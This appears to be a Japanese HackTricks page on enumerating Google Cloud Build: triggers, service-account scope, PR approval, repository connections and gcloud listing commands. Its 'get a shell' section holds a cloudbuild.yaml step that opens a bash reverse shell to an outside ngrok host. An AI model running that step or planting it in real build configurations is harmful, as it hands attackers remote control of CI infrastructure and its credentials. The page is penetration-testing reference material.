GCP - Cloud Build Enum

Support HackTricks

基本情報

Google Cloud Buildは、ソフトウェアビルドとリリースプロセスを自動化する管理されたCI/CDプラットフォームであり、ソースコードリポジトリと統合し、幅広いプログラミング言語をサポートしています。これにより、開発者はコードを自動的にビルド、テスト、デプロイでき、ビルドステップやワークフローをカスタマイズする柔軟性が提供されます。

各Cloud Buildトリガーは、Cloud Repositoryに関連付けられているか、外部リポジトリ(Github、Bitbucket、Gitlab)に直接接続されています。

ここからGithub/Bitbucketトークンを盗む方法は見当たりませんでした。リポジトリがダウンロードされると、https://source.cloud.google.com/のURLを介してアクセスされ、Githubはクライアントによってアクセスされません。

イベント

Cloud Buildは以下の場合にトリガーされます:

  • ブランチへのプッシュ: ブランチを指定

  • 新しいタグのプッシュ: タグを指定

  • プルリクエスト: PRを受け取るブランチを指定

  • 手動呼び出し

  • Pub/Subメッセージ: トピックを指定

  • Webhookイベント: HTTPS URLを公開し、リクエストは秘密で認証される必要があります

実行

3つのオプションがあります:

  • 実行するコマンドを指定するyaml/json。通常は:/cloudbuild.yaml

  • ウェブコンソールとCLIで「インライン」で指定できる唯一のもの

  • 最も一般的なオプション

  • 認証されていないアクセスに関連

  • Dockerfileをビルド

  • Buildpackをビルド

SA権限

サービスアカウントはcloud-platformスコープを持っているため、すべての権限を使用できます。SAが指定されていない場合(提出時など)、デフォルトのSA <proj-number>@cloudbuild.gserviceaccount.com使用されます。**

デフォルトでは権限は与えられませんが、いくつかの権限を与えるのは非常に簡単です:

承認

Cloud Buildをビルド実行の承認を必要とするように設定することが可能です(デフォルトでは無効)。

PR承認

トリガーがPRの場合、誰でも公開リポジトリにPRを行うことができるため、任意のPRでトリガーの実行を許可するのは非常に危険です。したがって、デフォルトでは、実行は所有者とコラボレーターのみに自動的に行われ、他のユーザーのPRでトリガーを実行するには、所有者またはコラボレーターが/gcbrunとコメントする必要があります。

接続とリポジトリ

接続は以下で作成できます:

  • GitHub: Githubトークンを取得するための権限を要求するOAuthプロンプトが表示されます。このトークンはSecret Manager内に保存されます。

  • GitHub Enterprise: GithubAppのインストールを要求します。GitHub Enterpriseホストからの認証トークンが作成され、このプロジェクト内のSecret Managerシークレットとして保存されます。

  • GitLab / Enterprise: APIアクセス用トークンと読み取りAPIアクセス用トークンを提供する必要があります。これらはSecret Managerに保存されます。

接続が生成されると、Githubアカウントがアクセスできるリポジトリをリンクするために使用できます

このオプションはボタンを通じて利用可能です:

この方法で接続されたリポジトリは、2世代のトリガーでのみ利用可能です

リポジトリを接続する

これは**接続とは異なります。これはGithubまたはBitbucketリポジトリへのアクセスを取得するための異なる**方法を提供しますが、接続オブジェクトは生成せず、リポジトリオブジェクト(1世代)を生成します。

このオプションはボタンを通じて利用可能です:

ストレージ

時々、Cloud Buildはトリガーのファイルを保存するための新しいストレージを生成します。これは、GCPが提供する例などで発生します:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

ストレージバケット security-devbox_cloudbuild が作成され、使用するファイルを含む .tgz を保存します。

シェルを取得

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

gcloudをクラウドビルド内にインストールする:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

列挙

ビルド構成やログに機密情報を見つけることができます

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

権限昇格

GCP - Cloudbuild Privesc

認証されていないアクセス

GCP - Cloud Build Unauthenticated Enum

ポストエクスプロイト

GCP - Cloud Build Post Exploitation
HackTricksをサポートする

Last updated